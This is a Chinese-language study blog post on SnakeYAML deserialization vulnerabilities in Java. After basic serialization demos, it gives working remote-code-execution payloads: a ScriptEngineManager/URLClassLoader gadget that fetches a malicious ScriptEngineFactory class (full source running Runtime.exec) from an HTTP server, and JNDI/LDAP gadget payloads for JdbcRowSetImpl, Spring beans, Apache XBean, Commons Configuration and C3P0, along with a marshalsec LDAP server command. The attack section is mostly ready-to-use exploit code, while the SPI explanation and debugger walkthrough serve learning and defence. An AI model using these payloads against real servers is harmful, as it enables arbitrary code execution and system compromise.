snakeyaml 学习

简介

感觉和 fastjson 一样,是把对象转换成yaml格式的一种手段

环境依赖

添加依赖:

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.16</version>
</dependency>

测试

测试demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.user;

public class User {
String name;
Integer age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Integer getAge() {
return age;
}

public void setAge(Integer age) {
this.age = age;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

主类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.main;

import com.user.User;
import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
public static void main(String[] args) {
// 序列化测试
User user = new User();
user.setName("test");
user.setAge(20);
Yaml yaml1 = new Yaml();
String dump1 = yaml1.dump(user);
System.out.println("snakeyaml序列化测试:");
System.out.println(dump1);

//反序列化测试
String dump2 = "!!com.user.User {age: 30, name: admin}";
Yaml yaml2 = new Yaml();
Object load = yaml2.load(dump2);
System.out.println("snakeyaml反序列化测试:");
System.out.println(load.getClass());
System.out.println(load);
}
}

snakeyaml的反序列化的方式

  1. 无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值

    1
    2
    3
    4
    5
    6
    package com.TestA;

    public class ModelA {
    public int a;
    public int b;
    }

    可见,我们并没有赋值,我们使用yaml对其进行赋值试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    package com.TestA;

    import org.yaml.snakeyaml.Yaml;

    public class ModelATest {
    public static void main(String[] args) {
    Yaml yaml = new Yaml();
    ModelA a = (ModelA) yaml.load("!!com.TestA.ModelA {a : 5,b : 0}");
    System.out.println(yaml.dump(a));
    }
    }

    可见,赋值还是可以的

    默认情况下,yaml的load()方法返回一个Map对象。查询Map对象时,我们需要事先知道属性键的名称,否则容易出错。更好的办法是自定义类型。而这里”!!”用于强制类型转化,”!!com.TestA.ModelA”是使用全限定类名将该对象转为ModelA类,如果没有”!”则就是个key为字符串的Map

  2. 有构造函数

    声明一个B类,如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    package com.TestB;

    public class ModelB {
    public int a;
    public int b;
    public ModelB(int a,int b){
    this.a = a;
    this.b = b;
    }
    }

    可以见到,有构造方法,我们可以使用这种办法去进行反序列化。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    package com.TestB;

    import org.yaml.snakeyaml.Yaml;

    public class ModelBTest {
    public static void main(String[] args) {
    Yaml yaml = new Yaml();
    ModelB b = (ModelB) yaml.load("!!com.TestB.ModelB [5, 0 ]");
    System.out.println(yaml.dump(b));
    }
    }

    可以看的出来[]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。

​ 需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)

  1. 调用setXX函数

    先声明如下C类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    package com.TestC;

    public class ModelC {
    public int a;
    public int b;
    public void setA(int a) {
    this.a = a;
    }

    public void setB(int b) {
    this.b = b;
    }
    }

    使用如下方式进行序列化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    package com.TestC;

    import org.yaml.snakeyaml.Yaml;

    public class ModelCTest {
    public static void main(String[] args) {
    Yaml yaml = new Yaml();
    ModelC c = (ModelC) yaml.load("!!com.TestC.ModelC {a : 5, b : 10}");
    System.out.println(yaml.dump(c));
    }
    }

可以看到调用set函数的方式和无构造函数的方式写法差不多,比如要调用setA函数,把set去掉将后面单词全部小写后,

就是a ,然后用 花括号进行一个赋值。

到此为止,意味着snakeyaml 可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。不过fastjson和jackson好像也没有直接RCE的链,并且还多依赖于三方jar包,通过改写1.2.68 写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE。

poc

影响版本

SnakeYaml全版本都可被反序列化漏洞利用

漏洞原理

按照如上所述,因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。所以我们可以参考fastsjon编写如下demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.main;

import java.lang.reflect.InvocationTargetException;
import org.yaml.snakeyaml.Yaml;
public class calcTest {
public static void main(String[] args) throws InvocationTargetException {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://teou2u.dnslog.cn\n\n\n\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

切记在DNSlog前面加上HTTP标头

如上,和fastjson检测能否使用DNSlog是一样的。

漏洞利用(ScriptEngineManager利用链)

能和fastjson一样控制的话,思路可以是使用类加载器,进行远程恶意类的加载,然后进行一个利用。

师傅们这里的常规的Gadget是使用的ScriptEngineFactory的链子:

如果攻击者可以根据接口类写恶意的实现类,并且能通过控制Jar包中META-INF/services目录中的SPI配置文件,就会导致服务器端在通过SPI机制时调用攻击者写的恶意实现类导致任意代码执行。

如下所示,编写payload的代码

==注意编写的 payload 中不要有任何的包名,直接从import开始进行==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class test implements ScriptEngineFactory {
static{
System.out.println("command execute");
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

然后使用 javac进行编译为class文件,使用python启一个http服务,在目录下新建目录:META-INF\services\javax.script.ScriptEngineFactory文件,里面内容写上要执行的class文件的名字,这里我写了test

​ 在此目录下开启HTTP服务

然后将访问路径控制根路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.main;

import org.yaml.snakeyaml.Yaml;
public class calcTest {
public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

命令成功执行

同时,也可以打包成jar包放置在第三方服务器进行利用

SPI机制分析

这里和之前的JNDI类似,都是远程开一个公网服务器,然后进行远程的类加载。但是,这个奇怪的文件:META-INF\services\javax.script.ScriptEngineFactory是什么呢?

Java SPI(Service Provider Interface)是JDK内置的一种服务提供发现机制,从JDK 6被引入。它可以动态地为某个接口寻找服务实现,有点类似 IOC(Inversion of Control)控制反转的思想,将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要。使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

如下图所示:服务器端继承了API,客户端去调用API

​ 客户端继承了SPI,而服务器去调用SPI

常见的SPI有JDBC,日志接口,Spring,Spring Boot相关starter组件,Dubbo,JNDI等

使用介绍:

  1. 当服务提供者提供了接口的一种具体实现后,在jar包的META-INF/services目录下创建一个以“包名 + 接口名”为命名的文件,内容为实现该接口的类的名称;
  2. 接口实现类所在的jar包放在主程序的classpath中。
  3. 主程序通过java.util.ServiceLoder动态装载实现模块,它通过在META-INF/services目录下的配置文件找到实现类的类名,利用反射动态把类加载到JVM;

下面做一个SPI的例子

SPI 例子

新建一个项目

创建好每个类

1
2
3
4
5
6
7
8
package com.test;

public class sayHello implements saying {
@Override
public String say() {
return "Hello";
}
}
1
2
3
4
5
6
7
8
9
package com.test;

public class sayHi implements saying{

@Override
public String say() {
return "Hi";
}
}
1
2
3
4
5
6
package com.test;

public interface saying {
String say();
}

之后创建配置文件,加入上面创建类的全限定类名

在IDEA里将这个工程打包成jar文件

==File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies==

之后,在build中点击build Artifacts

out文件夹下会获得 jar文件,这时候复制出来,将其添加为 library

这里踩了个坑,一开始打包jar的时候,使用的maven项目,但是自定义的META-INF死活打包不上,后来换了普通的java项目就可以。具体的话,可以参考此链接看一看,:

https://www.jianshu.com/p/0e22cdc53ebb

开始新建一个项目,开始编写如下demo,然后进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.Test;

import com.test.saying;

import java.util.Iterator;
import java.util.ServiceLoader;

public class TestSPI {
public static void main(String[] args) {
ServiceLoader<saying> s = ServiceLoader.load(saying.class);
Iterator<saying> iterator = s.iterator();
while(iterator.hasNext()){
saying sy = iterator.next();
System.out.println(sy.say());
}
}
}

使用迭代器迭代后,可以循环遍历结果进行输出

结果如下回显:

从上述代码中可以看到,基本操作流程大概是:

  1. 使用ServiceLoader加载要传入的接口类
  2. 使用迭代器遍历META-INF/services目录下的以该类命名的文件中的所有类,并实例化返回。

关于更多SPI的东西,师傅们可以看这篇文章:

https://www.pdai.tech/md/java/advanced/java-advanced-spi.html

漏洞调试

yaml.load处打上断点

跟进loadFromReader

跟进getSingleData函数,到constructDocument

继续到constructObject函数,会到constructObjectNoCheck函数,

然后,跟进Construtor.construct方法

construct方法里面一直走下去,会走到如下:

这时,根据反射获取的c类,获取信息,可以看到,反射类使用SPI进行连接

最后在aggumentList中,可以获取参数,进行传递

接下来就是需要理解,为什么会使用SPI的机制去进行解析呢?

现在进入ScriptEngineManager类中,静态看一下

根据init方法,往下走

之后,会返回一个loader

loaderSPI机制的demo一样,是调用getServiceLoader去动态加载类

稍微看一下,就会发现,定义了一个META-INF的路径

然后从这个目录下加载文件(与上面SPI遍历类似)

其他链子

因为感觉和fastjson类似,所以可以参考一些它的链子

JdbcRowSetImpl

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/test\"\n autoCommit: true";

当然还需搭建LDAP服务和恶意类Exploit。

1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#test 1389

运行即可触发:

可以看到放置在8000端口下的恶意类被进行访问

Spring PropertyPathFactoryBean

​ 需要在目标环境存在springframework相关的jar包。根据师傅们的文章,先导入一下依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<dependencies>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.12</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.12</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.12</version>
</dependency>
</dependencies>

然后以下测试案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.main;

import org.yaml.snakeyaml.Yaml;

import javax.script.ScriptEngineManager;

public class calcTest {
public static void main(String[] args) {
String context = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/test\"\n" +
" propertyPath: test\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/test\"]";
Yaml yaml = new Yaml();
yaml.load(context);
}
}

Spring DefaultBeanFactoryPointcutAdvisor

需要有以下依赖:

snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE,spring-aop-4.3.7.RELEASE。

此时poc如下:

1
2
3
4
5
6
set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor []
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.main;

import org.yaml.snakeyaml.Yaml;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.InputStream;

public class calcTest1 {
public static void main(String[] args) throws FileNotFoundException {
InputStream poc = new FileInputStream(new File("src/main/resources/2.txt"));
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

DefaultBeanFactoryPointcutAdvisor类的利用原理同上,也是JNDI注入漏洞导致的反序列化漏洞。

Apache XBean

导入依赖包

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.20</version>
</dependency>

接下来就是 poc (这里参考Mi1k7ea师傅的文章,发现其poc少了一个空格,这里看了Y4tacker的payload才加上了,剩下的注意就是复制的时候,会有转义符”\“可能会影响操作结果)

1
!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference ["foo", "test", "http://127.0.0.1:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

Apache Commons Configuration

依赖包:

snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,commons-lang-2.6,commons-configuration-1.10。

POC:

1
2
set:
? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://localhost:1389/test"]]

C3P0

先导入依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.4</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>mchange-commons-java</artifactId>
<version>0.2.15</version>
</dependency>

JndiRefForwardingDataSource

poc如下:

1
2
3
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://localhost:1389/test"
loginTimeout: 0

WrapperConnectionPoolDataSource

poc如下:

1

参考链接:

https://ce-automne.github.io/2020/02/08/Java-SPI%E6%9C%BA%E5%88%B6%E4%B8%8ESnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%A4%8D%E7%8E%B0%E5%88%A9%E7%94%A8%EF%BC%88%E5%9F%BA%E4%BA%8EScriptEngineManager%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89